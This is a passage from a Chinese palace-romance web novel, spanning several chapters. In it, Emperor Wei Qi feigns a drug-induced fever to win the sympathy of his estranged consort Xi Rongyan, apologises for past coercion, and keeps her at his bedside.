只是魏祁说完半晌,也没有得到人的回应,不由微微退了退身子去看席容烟的表情,看到的依旧是面无表情没有波澜的神情。
魏祁一顿,抚上席容烟冷清的脸庞,微微垂眸:“还在生气?”
席容烟抬起脸对上魏祁的眼睛:“所以我在广陵被人两次抢了银子,也是皇上让人做的,对么?”
“是不是那马夫和那镖局的人都是你安排的?”
魏祁抿抿唇,没有直接承认,只是对上席容烟的眼睛:“外头没有你想的那般自由,你只是女子,只身一人你能去哪儿?”
“朕只是在护你,朕只是想要你回来。”
席容烟眼里露出讽刺:“所以皇上还是没有变。”
“你只是换了一种方式在逼我。”
“与你从前强迫我,困住我手脚,将我困在宫殿里没有什么两样。”
“都是你觉得应该那样做,我不过是你手中玩物,任你高高在上的摆弄。”
“可我还需得对你感激涕零对不对。”
“我还得识时务的懂事,更不应该计较,因为这是皇上在为我好。”
魏祁的脸色一寸寸下沉,又静静看着席容烟:“从前朕的确不知道该怎么对你。”
“朕也的确不明白你为什么会拒绝朕。”
“朕以为所有女子都愿意成为朕的人,所以你的反抗让朕觉得挫败和恼怒。”
“朕以为你害怕了就会听话了,朕更不懂怎么讨你欢心,或许朕也放不下身段去讨好你。”
“但朕的初心并不是想要伤害你,朕只是想朕喜欢的人也能喜欢朕,也能安稳的待在朕的身边。”
“朕只是想要留住你。”
说着魏祁低头捧着席容烟的脸庞,轻轻开口:“烟儿,你如今不管要怎么折磨我,我都愿意陪着你,愿意等到你消气的那一天。”
“但你不能否认我对你的用心。”
“即便是顾韫玉,我不否认他前世对你好,但也不妨碍他因为我放弃你,且也没有为你好好考虑过。”
“朕从来都没有逼他去死,朕只是让他与你和离,可他却死在你面前,为的是什么,为了让你带着恨留在我身边。”
“你要是真的对我做了什么,连累的不仅是你,还有你身后的家族,顾韫玉就真的不知道么?”
"他当然知晓。"
“烟儿,这样的人,值得你心心念念?”
席容烟一顿。
但魏祁又好到哪里去。
若是没有他从中逼迫,就没有那些事情。
但那些事情当真也没有必要再计较的,席容烟只是累了。
她不说话,垂着眼帘,让魏祁看不懂她到底再想什么。
魏祁其实也不想提起从前的事情,见席容烟不说话,他没有再提,他比谁都更想从前的事情过去。
他伸手将刚才端来的琥珀糕拿来,冰冰凉凉晶莹剔透。
他送了一勺在席容烟唇边:“浇了蜂蜜,你尝尝。”
席容烟看着面前的勺子半晌,还是张开了口。
是真不想与魏祁多说什么,早点吃完他早点走。
魏祁见人好似听进了他的话,眉目一松。
席容烟只吃了几口就不吃了,推了魏祁的手,就说累了要睡。
魏祁心想着刚才席容烟也吃了他喂的琥珀糕,估摸着心头软了一些。
他点头,却没叫人进来,独自在席容烟面前宽衣。
席容烟看着魏祁的动作抬眉看他:“皇上睡这儿?”
魏祁手上的动作一顿,低头看向席容烟:“这里凉爽,这处只有这一处能睡的。”
这么大的凉殿不可能只有一处床榻,不过魏祁上午就让人全搬走了,小榻都没留,就怕席容烟又赶他走。
这处凉殿的确凉爽,夜里还能听着如雨的水声入睡,睡得就更好。
魏祁是皇上,他要睡在这里自己自然不能赶她走,席容烟依旧站起来让宝珠进来给她穿衣,她出去。
魏祁脸色黑下来拉住席容烟的手:“就这么讨厌朕?”
席容烟平静的看着魏祁摇头:“臣妾不敢。”
魏祁深吸一口气,紧了紧手:“朕什么都不做,朕只是想与你睡在一处。”
席容烟淡然的眸子看着魏祁:“要是皇上逼着臣妾照办,臣妾自然不敢忤逆。”
魏祁气得连头都开始发疼。
一刀刀软刀子,席容烟的确知道怎么折磨人。
他将她拉到床榻上,咬着牙:“你睡着这儿!”
席容烟抬头看着魏祁:“那皇上呢?”
魏祁冷着脸:“你放心,朕不在这里睡。”
席容烟就也不管魏祁的反应,上了榻就翻过了身,又给魏祁一个背影。
魏祁站在原地看了席容烟的背影半晌,到底又强压下气恼,转身走了出去。
高义在外头见着皇上又被赶了出来,心头叫苦。
今夜他也别想好过了。
看着阴沉着脸出来的皇上,高义脑中一动,连忙弯腰过去皇上的身边,小声的说了两句话。
魏祁本不耐烦听,但听完高义的话一顿,脸上的阴郁气稍微散开些,又看着高义挑眉:“真有用?”
高义忙道:“宸妃娘娘也是刀子嘴豆腐心呢。”
“皇上不妨试试。”
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接下来的几日里,魏祁定然是知道席容烟不想看见他,除了用膳的时候会过来两人一起,其余时候倒没来了。
席容烟也觉察出魏祁这几日好似很忙碌,她也乐得清闲。
她在园子里坐在树荫下逗鸟喂鱼,魏祁勤勤恳恳在书房忙碌,两人同住在一处行宫,却又没什么交集。
从前在皇宫内,魏祁动不动就将她困在殿内不许她出去,现在席容烟想去哪儿便往哪儿走,根本不想在意魏祁。
倒是宝珠跟在席容烟的身边心惊胆战的:“这几日皇上夜里都睡在主子寝屋旁边的竹塌上,那竹榻又硬,睡着定然是不舒服的。”
“皇上或许现在不介意,要是久了皇上生了娘娘的气了怎么办?”
“奴婢更担心这事要是传了出去,别人议论的话……”
席容烟知道宝珠的意思。
但她与魏祁之间两人的事情复杂。
她知道自己离不开了,只是不想让魏祁万事如意而已。
至少她知道,魏祁想方设法的要她回来,现在是在意她的。
再说魏祁要睡在隔壁的竹榻上,也不是她要求的。
凉殿里那么多间屋子,一张床塌没有,她是不信的。
魏祁是皇帝,即便他真的要睡在自己隔壁,让人准备一张更加舒适的床塌完全是没有问题的。
他这么做不过是故意做给她看的。
席容烟想到这里,看着池中的鱼儿顿了顿,这样幼稚的事情,没想到如魏祁这样的人也能做得出来。
她又苦笑,那自己这些日做的事情,不也是故意与魏祁置气么。
魏祁没说错,她当真就是在置气恼怒,也更不想让魏祁事事掌控。
她没有多说,撑着头用小树枝逗弄着笼子里的鹦鹉。
这时候的天色已经快要沉,今日魏祁破天荒的没有过来与她一起用晚膳,席容烟也没有在意,用完膳沐浴后就靠在凉榻上看书。
倒是高义匆匆的往席容烟这头找过来,一来便说魏祁出事了。
席容烟手上的动作一顿,魏祁身为皇帝,即便在行宫里,身边也全是亲卫,行宫四周更是里里外外如铜墙铁壁,又能出什么事。
但高义的脸色显然着急,朝着席容烟恭敬道:“陛下病了。”
席容烟看向高义问:“病了没请太医么?”
高义也一愣,别的嫔妃听见皇上病了,巴不得时时刻刻守在边上侍奉邀功,宸妃却这样淡定,细看那神色,好似也半点不在意。
他心里发凉,自己怕还有些日子不能睡个好觉了。
又连忙道:“太医去瞧过了,说皇上是染了风寒,病来的急,要人在身边好好照顾。”
“这些日皇上为了陪着娘娘,就睡在隔壁的竹榻上,那竹榻冷硬不说,夜里凉殿更凉,皇上也没盖个毯子,怎么能不病?”
席容烟怔了怔,她虽然知道魏祁睡在隔壁,但魏祁这么大一个人定然是知晓冷热的,冷了不知道盖毯子么。
她又对着高义道:“那便去请会照顾的侍女好好照顾好皇上,皇上的龙体重要。”
高义一哑,朝着席容烟叹息:“娘娘,皇上想您陪在身边呐。”
第177章 爱妃喂我
席容烟对于魏祁忽然生病这事存疑,两世加起来,这还是她头一次听说魏祁病了。
但高义既然这么说,她现在也是魏祁的妃子,不管怎么说也要去看看的,便让高义在前头引路。
高义心头如释重负,连忙走在前头。
魏祁就躺在他平日里处理政务的流云阁内,席容烟进去屋子里的时候,就闻到了一股浓浓的药味。
从前她闻不得苦涩,出去那月余,如今闻着也没有那么难受了。
重重帘子下伺立着人影,席容烟往内走去,就看到魏祁半靠在床榻上,那双从前总是紧紧看在她身上的黑眸紧闭,额头上浮了一层汗,看起来是很难受。
席容烟看着魏祁的样子一顿,难不成他真的病了?
席容烟走到床边,看魏祁好似在睡,她留在这里好像也并不能起什么作用。
她看向高义:"皇上病了先清静睡一会儿,等皇上醒了,你再叫人去叫我。"
席容烟说着要站起身,只是身子还有站起来,就被魏祁垂在床边的手紧紧握住了。
席容烟一愣,侧头去看魏祁,却见他依旧紧闭着眼,也不知道到底醒了没有。
她试着挣了挣却挣不开,下一刻身子又被魏祁的手一拉,身子就被拉着趴到了魏祁的怀里。
席容烟怎么就觉得魏祁是装病呢。
那揽在她腰后的手掌紧紧按着她,这这力气像是一个风寒病重,还睡着人有的么?
只是这屋子里这么多人瞧着,魏祁又是皇上,席容烟总不能真质问出来,她小声问:“皇上?”
魏祁依旧闭着眼。
席容烟一连叫了好几声人都没有反应,偏偏那手就是不松。
高义适时的过来低声道:“娘娘,皇上许是贪您身上凉,您便让皇上抱会儿吧。”
“刚才太医来说皇上高热不退,身上其实很难受的。”
席容烟一愣,这才发觉魏祁的身上滚烫。
她伸手摸了摸魏祁的额头,烫的惊人。
这会儿她趴在魏祁的怀里也不动了,侧头看向高义:“皇上怎么病的这么严重?”
高义脸色愁苦:“皇上睡在那凉榻上,夜里又来来回回的去看娘娘睡的好不好,许是这般折腾着,再好的身子也熬不住吧。”
席容烟顿了下,魏祁夜里还跑过来看她入睡?
高义又往床榻上的皇上看去一眼,暗想着太医给的那药有用倒是有用,跟真的病了一般,只是不知道皇上到底难受不难受了。
他又看向席容烟:“娘娘在这儿陪着皇上,那我们先退下了。”
说着高义低头退下去,还不忘将屋子里的侍女也给一块儿叫了出去,说是要让皇上清静的休息。
席容烟看着要退下的高义,让他去打盆水进来。
主要魏祁身上是真的烫人,那烫人的温度让席容烟都觉得身上发烫了。
=
高义听了席容烟的话一愣,想着宸妃娘娘到底还是担心皇上的,赶紧让人去端水来。
席容烟想从魏祁的怀里起来,给他擦脸上的汗,偏偏魏祁非不撒手,反而将她越抱越紧,最后又将她侧身抱着,滚烫的额头抵着席容烟的后颈,沙哑的声音传来:“好凉……”
席容烟的力气实在是抵不过魏祁,最后筋疲力尽也没有挣脱掉人,只能放弃了。
她正想叫高义去端些冰块进来的时候,却发现不知道从什么时候起,屋子里头竟然空无一人了。
席容烟愣了愣,身后抱着她的人又抱紧了一些,让她都有些呼吸不畅。
她一巴掌打在魏祁紧紧落在她腰上的手背上:“轻点。”
没想到的是,那手还果真松了松。
席容烟越想越生疑,转过身去看着魏祁的脸,一看之下却是一愣。
只见魏祁也正微微眯着眼睛看她,只是历来薄情脸,此刻看起来像是落水无助的人,见她转身看过去,又低头往她颈窝处蹭:“烟儿,难受……”
看来还没有被烧傻,还认得她。
席容烟往魏祁的肩膀上推了推,试图与他好好说话:“你身上都是汗,我给你擦擦。”
“你先松了我,不然我没法子照顾你。”
席容烟看魏祁能认出她,也以为他能听进去话的,偏偏真的听不进,半点撒手的意思都没有。
再有魏祁炙热的呼吸都铺在席容烟颈上,她本来不想笑的,脖子上却痒的很,咯咯的笑出声来,推魏祁的脑袋都摆脱不了。
偏偏魏祁像是发现了什么,还使劲往她脖子上凑。
站在外头的高义听着里头席容烟的笑声脸色惊疑不定,难道皇上病得这样重,宸妃娘娘就这么高兴?半点不避讳人了?
瞧这样子怕是巴不得皇上病了似的……
屋内席容烟痛苦的笑得接不上气,用力的翻身过去才躲过一劫。
魏祁在席容烟的身后睁开眼,笑了笑,没想到还抓住了席容烟这一处弱点,想着往后席容烟要是再与他生气,正好用上这法子。
席容烟此刻身上也出了汗,是真受不了魏祁身上火炉似的温度,又深吸一口气,再回头看向魏祁半眯着又像是在睡的眼睛。
为防止魏祁再像刚才那样做,她伸手捧着魏祁的脸,认认真真的看着魏祁:“你先睡一会儿,你将我身上也弄热了,我先去沐浴,待会儿再来照顾你。”
魏祁眼神动了动,看着席容烟那饱满脸庞上因为热和刚才笑过后染出的红晕,喉咙间一滚,又沙哑道:“朕也想洗……”
席容烟愣了愣,看着魏祁的确满身是汗,就道:“那我去叫人准备着,叫人来伺候皇上沐浴。。”
席容烟说着要起身,可腰上的力道依旧没有放开她,魏祁又凑过来往席容烟身上靠:“朕想与烟儿一起洗……”
席容烟心说想的美,口中却答应,让魏祁先放了她,她去让人准备。
魏祁居然这回就乖乖的松了手。
席容烟起了身,出去外头对高义吩咐了几句,高义一喜,赶紧去准备。
热水准备好后,席容烟扶着魏祁去浴房。
氤氲的热气里,魏祁低头看着席容烟为他宽衣解带。
那让人发热的药让他的头很疼,不过此时此刻看到这一幕,倒是值得的。
至少席容烟还在乎他病了。
白气中的人看起来格外诱人,美眸低垂,细眉如画,乌黑发丝柔软的垂下,那纤纤玉指就落在他胸前给他脱衣。
魏祁倒吸一口气,连日来被她的冷落搅得失意的心,这一刻又活了过来,他不由伸手将席容烟的手指包裹在手心里。
后背已情不自禁的往她身上靠过去,看着她近在咫尺的红唇,又沙哑的一声喃喃:“烟儿……”
席容烟一伸手就堵在魏祁的唇上,抬头看着魏祁幽深的眼睛:“皇上这么多汗,还是先沐浴吧。”
魏祁一愣,捂在唇上手指柔软香甜,但看席容烟的眼睛,美眸明亮,又像是有些嫌弃他身上的汗,又些微失落。
不过待会儿要与她一起沐浴,也不急这会儿的。
他十分配合的抬起了身,还十分配合席容烟更衣,就想待会儿早点与她鸳鸯浴。
等到魏祁泡到浴桶里时看向站在旁边的席容烟,伸手拉住她:“烟儿……”
席容烟哄孩童般弯腰哄着魏祁:“我先去更衣,你等着我。”
魏祁这些日第一回在席容烟脸上看到不那么冷清的神情,手指微微松了松。
席容烟松了一口气,等到魏祁完全松开她,起身就往外头走,让两个侍女进去伺候魏祁沐浴,她则是回了凉殿又洗了一遍。
席容烟倒是没有怀疑魏祁的病,不过是看出来魏祁刚才根本就是故意的。
她沐浴完想着刚才已经吩咐好了让高义夜里照顾好魏祁,她明日一早再去看他就是,只是原本想要好好睡一觉的,可高义却又来了。
高义说魏祁不肯吃药,要让席容烟去喂。
席容烟大抵又知道是魏祁故意的了,可他是皇上,尽管身上已经困的不行了,还是咬咬牙又去了。
洗干净的魏祁穿着干净里衣的靠在床榻上,又侧头静静看着席容烟进来。
席容烟知晓刚才自己骗了魏祁,现在被他这眼神一看还有点心虚。
不过她又很快坦然,对比起魏祁做过的事情,她做的也不算什么。
席容烟坐在床榻边,接过侍女送过来的药,喂了一勺去魏祁唇边。
魏祁依旧静静看着席容烟,没有张口,只是脸色沉下去,显然看起来不高兴。
席容烟早和魏祁撕破脸了,不想多看他的脸色,见魏祁不吃药,便侧头看向高义:“我给皇上喂药皇上也不吃,要不还是高公公来喂试……”
她话没说完,手腕处就被魏祁给紧紧握住,手上的药汁撒了一些下去,从席容烟的手上又滴落到了她的裙摆上。
席容烟看向魏祁不语。
魏祁也紧紧抿着唇,凤眼里带着不高兴的神色,捏在她手腕上的手指一寸寸收紧又松开,随即眼眸看向席容烟的眼睛:“爱妃喂我。”
“用嘴。”
第178章 朕一直想与你说对不起
魏祁这话落下来的时候,屋子内静了静。
高义更是连忙悄悄退了下去,其余侍从也都退到了角落帘子后面。
高义跟在魏祁身边这么久,怎么看不出来皇上是生气了,这是发怒的前兆,他只想赶紧躲着。
席容烟蹙眉看向魏祁,这人是不是有病,用勺子喂他他不吃,非得用嘴。
她以毒攻毒的看着魏祁明显不悦又阴沉的脸:“臣妾刚才沐浴时吃了大蒜,皇上要是不嫌弃的话,臣妾也可以喂皇上的。”
魏祁气极反笑:“烟儿,你这些日子与朕闹这么久,不也是仰仗着朕喜欢你,宠着你?”
“换作另外一个人,早就犯了忤逆的罪过。”
“朕对你已经足够的容忍了。”
席容烟直视着魏祁的眼睛:“皇上为什么容忍我?”
“要是皇上觉得我无理取闹,皇上大可换一个让皇上舒心顺从的人陪在皇上身边。”
“恰好我也想要自由。”
魏祁眉间的冷色在烛光下明灭不定,薄唇下压,吐出的话也是冷冰冰的:“烟儿,朕容许你任性,但不是让你放肆。”
席容烟直对上魏祁的眼睛:“臣妾怎么敢放肆?”
“到时候皇上又杀了臣妾身边的人,臣妾敢放肆吗?”
魏祁静静的良久看着席容烟的眼睛,那双眼眸也正看着他,眼神里的神色很淡,没有多少惧意,又像是不在乎。
其实魏祁要拿捏住席容烟,让她听话,他有许多种法子,他不过是不想用在席容烟身上罢了。
他知道席容烟也知道的,她也不过在利用他对她的后悔愧疚。
魏祁抿了抿唇,阴沉的眉目软下去,靠在身后的软枕上,低垂的眼眸看着席容烟:“喂朕吃药。”
席容烟看魏祁没有再说下去的意思,也没有再开口。
她垂下眼帘送了一勺到了魏祁的唇边,一勺一勺喂他吃完。
接着她将碗放在一边,又看向魏祁:“我能走了么?”
魏祁慢条斯理的自己擦着唇上的药汁,又看了席容烟一眼,言简意赅:“不能。”
席容烟不管魏祁,起身要走,手臂却被魏祁一把拉住。
那双黑沉的眸子看她:“朕重病在榻,你要走?”
席容烟看着魏祁:“皇上身边有那么多伺候的人,个个都比我伺候的好。”
“刚才皇上不还嫌弃我喂药喂的不够好么?”
魏祁气的想笑。
他敢说她喂的不好?
他不过是想让她喂的慢一些,别把好好的有些暧昧的气氛给打破了。
他深吸一口气,对这样的席容烟是全没办法的。
如今软硬不吃,也不能真拿她怎样,所有气只能自己忍着。
他紧紧看着她:“摸摸朕的脸。”
席容烟心说这人又犯了什么毛病,手指不动,显然是不愿意摸的。
魏祁也猜到席容烟的意思,握紧她的手落在自己脸颊上。
那双眼眸依旧紧紧看在席容烟的脸上,沉静的观察着她脸上的表情。
席容烟的手指触碰到魏祁脸颊上的一刻就察觉到一股烫意。
她一愣,没想到魏祁身上还是这么滚烫。
魏祁咳了咳,沙哑的声音响起:“朕病得这样重,你还要与朕置气么?”
“你要是还生气,朕病死了你就高兴了?”
席容烟虽然心底深处恨魏祁强迫和草芥人命,但是并没有想过他会死。
即便魏祁真的死了,她也不会觉得高兴。
席容烟也不得不承认,眉目松懈下来,穿着白色里衣的魏祁此刻看着褪去了冷酷,是有那么点可怜。
特别是他发丝都垂落下来,额头与鼻尖还有汗湿的时候。
她依旧没有心软。
现在的魏祁不过是一场风寒而已,哪里又值得可怜,那些无辜死了的人,还有她前世被他折磨的时候,难道就不可怜。
她的手依旧在魏祁的手上挣了挣,声音平静:“我没有置气,我只是自知自己照顾不好皇上。"
"但若是皇上命令我留下来照顾,我也不敢违抗皇上的命令。”
魏祁扯了扯唇角,唇边带着讽刺的笑:“烟儿,你巴不得朕病死是不是?”
席容烟摇头:“不敢。”
魏祁松了松手指,又彻底松开席容烟的手腕。
他仰靠着,闭着眼睛,松开的领口处依稀可以见到里头胸膛的起伏。
在昏暗灯火中,药味与龙涎香的味道混合,魏祁半晌开口:“朕知道你要折磨朕,现在如你所愿了,朕拿你没法子了。”
席容烟默默低头看着魏祁依稀带着病容的难受模样,历来在她眼里高高在上又冷清的皇上,现在暴露出了一丝脆弱。
她微微怔了怔,又别开了目光。
魏祁又翻过了身,后背对着席容烟:“你想走便走吧,朕病死也好,死了你就高兴了。”
“朕死了,你就自由了。”
席容烟张张口,看着那高大的背影,沉默一会儿又道:“我不想任何人死。”
换来的是魏祁自嘲的笑声:“烟儿,前世朕也没有活多久,或许这一世也活不了多久。”
“你总有一天会自由的。”
席容烟诧异的看向魏祁。
前世魏祁很早就死了?
她记得她前世死的时候魏祁应该已经三十二了,那他什么时候死的。
她下意识问出来:"你前世什么时候……"
问到一半她又顿住,因为她看到魏祁转过头来,眼里带着嘲弄又了然的眼神。
魏祁淡淡抬起眼皮看她:“迫不及待想知道朕什么时候死了?”
席容烟一哑,随即又摇头:“没有。”
“我也不是这个意思。”
魏祁扯了扯嘴角:“你放心,朕前世没有活过四十。”
“或许这一世也是。”
席容烟怔了怔。
在她记忆里魏祁的身子一向很好,不至于不到四十就死了。
她问他:“是什么原因?”
魏祁淡淡的挑眉:"烟儿,什么原因对你来说重要么?"
“你恨朕,朕也会如你所愿。”
席容烟心头这时候不知是什么感受。
她也摸不清自己现在是什么感受。
她只是觉得心里居然有一刻的发紧。
或许到底是纠葛了两世,她对魏祁有她自己都没发觉的情绪。
席容烟也没有再问,她站在床榻边,好似这时候要走的话却有点说不出来了。
魏祁又看了席容烟一眼,闭上眼睛:“你要是不想陪在朕身边,你也可以回凉殿去睡。”
席容烟张了张唇,发觉自己竟然还是有点心软。
她道:“我去隔壁屋子里睡,你夜里要是有事,可以叫我。”
魏祁的手指动了动,听着席容烟转身的动作,他睁开眼睛,看着那道背影,又抿抿唇。
高义得知席容烟要睡在隔壁的时候,心里头还是很高兴的,马上就让人来准备了。
至少宸妃娘娘没有再回凉殿去睡。
席容烟与魏祁的屋子就隔着一道墙,席容烟刚才是很困的,可这谁儿睡在床榻上却有些睡不着,一直在想魏祁刚才的话。
又在半夜听到魏祁的咳嗽声,心里头又不知是什么滋味。
翻来覆去了好一会儿才睡着。
第二日天才蒙蒙亮,席容烟就被旁边的动静吵醒,她睡得昏昏沉沉从床榻上坐起来,宝珠忙走到席容烟身边小声道:“刚才高公公来说皇上病得更重了些,说是连药都吃不进去,等着娘娘去看看呢。"
席容烟一愣,忙草草梳妆了往隔壁去,就见着屋内黑压压的跪着一众人。
再往床榻上看去,只见到魏祁背着身侧躺着,身上白色的里衣发皱,难得见他这样凌乱的样子,也不知道他此刻是醒了还是没有。
她往床榻边走过去,王太医一见到席容烟就如抓到了救命稻草一样忙道:“宸妃娘娘,皇上脉急绷弓,郁结化火,体内毒热不去,只怕伤及脏腑啊。”
“皇上如今又吃不下药,还请娘娘想法子吧。”
高义在一旁焦急道:“宸妃娘娘,皇上要知道您在身边,一定会吃药的。”
席容烟看了一圈屋内的人,个个脸上愁苦焦急,她也没有想到魏祁的病会这么重。
她坐在床榻边,让高义去端药来,她来喂药。
高义忙应一声,没一会儿就将一碗药送到了席容烟的手上。
接着他又带着王太医和屋内跪着人都走了出去。
席容烟一愣,看着高义的背影:“你们都出去做什么?”
高义忙道:"娘娘喂皇上吃药,小的们不敢打搅。"
席容烟想说没事,万一魏祁还不吃药,还能一起想想办法。
结果她话都没开口说完,高义就又出去了,像是后面有人在追一般。
王太医等在外头,看到高义出来,抹着汗道:“我还是第一次做这事,心头这还发虚。”
高义含笑:“你放心,皇上定然重赏你的。”
王太医有些担心:“那药虽然能让皇上看起来风寒严重,可到底伤身子,我怕皇上……”
高义叹息,没说话。
皇上为了宸妃,伤身子的药吃了也不眨眼的。
屋内的席容烟端着药碗轻轻推了推魏祁的肩膀,人也没有反应,她只好用了点力气,人没扳过来,倒是传来魏祁的咳嗽声。
席容烟也没想到,一场风寒,竟然能这样严重。
刚才碰魏祁的肩膀,也是微微有些烫的,当真有点吓人。
这时候魏祁又转了过来,像是刚醒了,眯着看席容烟,不说话,又闭上眼睛,像是病重的不行。
席容烟去端药过来,送了一勺去他唇边给他喂药。
魏祁却只是看了一眼,又偏过了头。
席容烟一愣,看着魏祁:“你又怎么了?”
魏祁苦涩笑了下:"你不用管朕。"
席容烟一顿:“你病得很重,为什么不吃药?”
魏祁又低咳了一声,声音沙哑:“不想吃。”
席容烟想说怎么这么大个人,好似有些幼稚。
她趁着魏祁说话,将一勺直接送到他嘴里:“我没想你死。”
魏祁被席容烟忽然喂过来的药呛了呛,看向了席容烟:“朕昨夜一直在做梦,梦见前世。”
“朕一直想与你说对不起。”
说着魏祁闭了闭眼,又看着席容烟,沙哑道:“烟儿,对不起。”
席容烟的动作一顿,手指微微紧了紧,垂着眼帘,眼眶中竟有一丝酸涩。
她的委屈,一直都没有真正的宣泄过。
屋子里很静,微光透了进来,席容烟''眨了眨眼睛,又想着自己这时候与病重的魏祁也没什么计较的,只轻轻嗯了一声。
低垂的眼帘处微微能看见莹光湿意,那一抹光线落到她娇小的背影上,他忽然在这一瞬间明白了自己带给她的所有委屈。
他轻轻抬手,修长的手指落在席容烟低垂的脸庞上,心疼的划过她眼角。
手上的药碗又被魏祁拿了过去,也没有再让席容烟喂他,自己都喝完了。
席容烟直到看到魏祁将空碗放在了一边才反应过来。
她看向魏祁,正要说她再让人进来,身子却被魏祁带入了他的怀里。
他滚烫炙热的身子贴着她,沙哑的声音落在她耳边:“烟儿,让朕抱抱你。”
“朕病了,抱一会儿就好了。”
席容烟本来是想要从魏祁的怀里起来的,可感受到魏祁身上明显不正常的炙热温度,推了两下,还是又没动了。
原本是趴在魏祁怀里的,可魏祁又翻了个身,她又侧躺在魏祁的怀里。
魏祁的手掌贴在席容烟的后背上,又低头吻她的发顶,哑声道:“昨夜朕咳嗽,是不是吵着你了?”
席容烟入目处全都是魏祁皱巴巴散开的衣襟里的胸膛,又闭上眼睛摇头。
魏祁从刚才席容烟疲惫的眼底都能看出来她昨夜没睡好。
其实昨晚上他好几回都想去席容烟那边去抱着她,并不是因为身体渴望,更是抱着她睡才睡得安心。
只是徘徊了许久也害怕半夜吓到她。
魏祁伸手将席容烟发上的发簪取下来,又轻轻拍了拍她的后背:“烟儿,陪朕睡一会儿。”
“朕不需要你照顾朕,朕只想你抱你这一会儿。”
席容烟心头又涌过情绪,竟有片刻的酸涩。
她不说话也不动作,静静的闭着眼睛,脑中思绪纷乱,又安安静静。
魏祁的手也规矩的放在席容烟的后背上,像是在哄她入睡一般。
第179章 直呼朕的名字,就这么讨厌朕?
或许是昨夜当真没有睡好,又或许是魏祁落在她后背上的手掌温度炙热,让她昏昏欲睡,也真的在魏祁的怀里睡着了。
魏祁其实也没想到席容烟会这么快睡着。
刚回来如刺猬一样的人,他病的这两日,他也能察觉到她的心软。
席容烟始终是心软的。
他指尖细细描摹她睡着后的眉目,安然的面容有一些不谙世事,他才想起,这时候的席容烟还很年轻,才不过十五而已。
自然会更任性。
他又吻了吻她的额头,又抱紧她闭上眼睛。
席容烟没想到自己一睡,竟然睡到了不知道什么时候了。
再睁眼的时候,眼底一片昏昏暗暗。
她以为自己已经睡到了晚上去,忙要撑着身子起来,可后背的力道却压着她动不了,头顶上传来沙哑的声音:“醒了?”
席容烟浑浑噩噩的脑中这才意识到自己还被魏祁抱在怀里。
他身上的温度好似不那么热了,席容烟推了推没有推开,只好又问:“现在入夜了?”
魏祁在昏暗床帐中看着席容烟若隐若现的脸庞:“才过中午。”
“朕放了帘子,想让你睡得好一些。”
席容烟睡得头昏脑胀的,揉了揉额头,草草应了一声就要起来:“那我先起来了。”
只是她正揉着的时候,魏祁的手指落到她太阳穴上为她轻轻的按着,低缓的声音传来:“不急,你刚醒,缓一会儿。”
温热的指尖动作很轻,席容烟怔了怔,又推开了魏祁的手。
魏祁低头,看不清席容烟低垂的神色,只是抿着唇,收回了放在席容烟后背上的手。
席容烟撑着坐起来,掀开帘子一角,刺眼的光线透进来,让她的眼睛酸涩,一下子没适应过来,眯着眼睛好一会儿了才适应了。
她坐在床沿上,低头看了看自己发皱的裙摆,想着要去重新换一身衣裳了。
她站起来要直接走的时候,却又顿了顿,转身就看到魏祁坐在床榻上,一只手掀开帘子,又静静的看着她。
那眼神仿佛是在控诉她在始乱终弃。
还有魏祁身上的白衣更加皱巴巴的,没有束发的发丝凌乱,几缕垂到他眼睛前,竟还有一种惊心动魄的阴柔俊美。
席容烟一愣,看得呆了呆,又看着魏祁小声道:“我让人进来照顾你。”
魏祁抿着唇看着席容烟又打算转身走的背影,薄唇边又勾着自嘲的笑:“多陪朕一刻也不愿么?”
说着魏祁低头,捂着唇咳了几声,又沙哑道:“刚才烟儿在朕的怀里睡得那样好,朕忍了一上午也没咳一声,就怕吵着烟儿了。”
“没想到烟儿一醒来就这样无情。”
席容烟一愣,这话里的意思……
她张了张唇,顿了一下才道:“皇上要是没睡好的话,可以再睡一会儿。”
魏祁看着席容烟:“烟儿,朕饿了。”
席容烟就点头:“那我去叫人布膳。”
看着席容烟又要走,魏祁又道:“朕想你陪朕。”
席容烟想说他到底要做什么,不能一句话说完么。
但看着魏祁那微微有些失落的眼神,席容烟还是不忍心的应下来:“我先去换身衣裳。”
"很快过来。"
席容烟的确也没有耽搁多久,主要她也饿了。
进去魏祁那里的时候,魏祁居然还是刚才她走的那个姿势,见着她进来,就又道:“朕以为你刚才也是骗朕的。”
这话听起来可怜巴巴的,席容烟都快认不出来眼前的人是从前的那个魏祁。
又或许人病了,看起来真的温和许多。
旁边的桌上早就布好了菜,席容烟看魏祁身上还是穿着那件皱巴巴的里衣,忍不住问:“没人给皇上更衣?”
魏祁看了席容烟一眼又垂眸:“朕想等你。”
席容烟反应了半天才反应过来这话的意思,该不会等着她来更衣吧。
魏祁却已经从床沿上坐了起来,拉过架子上的黑色鹤袍披在身上,又牵着席容烟往旁边的桌上去。
桌上都是席容烟一直喜欢吃的菜,魏祁依旧给席容烟夹菜,慢条斯理的,仿佛已经成了习惯。
这些日两人一同用膳时,魏祁都会给她夹菜,尽管席容烟一口没吃,魏祁也依旧为她夹。
她竟然也有些习惯了。
她依旧给扒到一边,心里头却没从前那般坦然了,竟开始觉得自己是不是过分了些,毕竟魏祁病这么重还给她夹菜。
但又想,九五至尊的皇上,哪里就值得让人同情。
用完膳,想要清闲一会儿是清闲不了的,因为魏祁要吃梨,还要席容烟亲手给他削。
待会儿吃药也要给他喂!
席容烟没削过梨,自然也削的不好,削完后只剩下了小小的果肉。
她看着魏祁送过去,想着爱吃不吃,不吃她就走了。
魏祁却笑了下,低头就着席容烟的手就咬了一口,点评起来:“还行。”
席容烟又怔了怔,将梨子放到魏祁手上,又去净手。
她一下午都被魏祁这样那样的理由留在他屋内,其实席容烟也能够察觉到魏祁不过是在找理由让她陪着。
席容烟直安慰自己,一个病得这般厉害的人,自己没必要与他计较,就这么稀里糊涂又被他拉着往浴房走,被他将手放在他衣襟上,让她为他更衣了。
听到头顶传来魏祁沙哑的声音:“烟儿这回再别骗朕了。”
“与朕一起沐浴。”
席容烟这才如梦初醒的抬头瞪向魏祁:“我什么时候答应的!”
魏祁垂眸:"刚才你说愿意为朕擦背的。"
“那不是愿意与朕一起洗?”
这根本就是两件事。
席容烟也再不管魏祁了,直接转身回了隔壁的屋子让人倒水沐浴。
至于魏祁,那多侍奉的人,他爱让谁给他擦背就让谁给他擦背去。
席容烟现在只想好好的泡一泡澡,再去去身上的疲惫,然后夜里看看书,再舒舒服服的早点入睡。
伺候了魏祁一天,她总该歇歇。
那头魏祁看着席容烟离去的背影,胸膛上还有一丝她手上的温度。
外头是高义胆战心惊赔罪的声音:“刚才小的也没拦住宸妃娘娘,还请皇上责罚。”
